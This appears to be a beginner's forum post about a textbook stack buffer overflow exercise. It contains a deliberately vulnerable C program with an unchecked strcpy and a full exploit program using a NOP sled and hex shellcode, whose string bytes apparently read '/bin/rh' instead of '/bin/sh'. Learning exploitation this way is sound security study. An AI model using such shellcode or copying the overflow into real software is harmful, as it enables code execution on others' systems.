*** stack smashing detected ***
Hi,
I'm trying to learn som C programming from this "Hacking" book by Jon Erickson and this code is taken from that book.
Both programs compile error-free and there are no other problems.
They are compiled with Gcc 4.1.2 on Ubuntu 4.1.1 (if it should matter.)
The problem is when i try to run exploit. I get this message:
Stack pointer (ESP) : 0xbf963908
Offset from ESP : 0x0
Desired return addr; 0xbf963908
*** stack smashing detected ***: vuln terminated
Aborted
vuln.c:
Code:
int main(int argc, char *argv[])
{
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
exploit.c
Code:
#include <stdlib.h>
char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x72"
"\x68";
unsigned long sp(void)
{__asm__("mov %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp -offset;
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired return addr: 0x%x\n", ret);
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for (i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for (i=0; i < 200; i++)
{buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./vuln","vuln", buffer, 0);
free(buffer);
return(0);
}
I'm just a beginner to C soo i would appreciate any comments.
- Martin
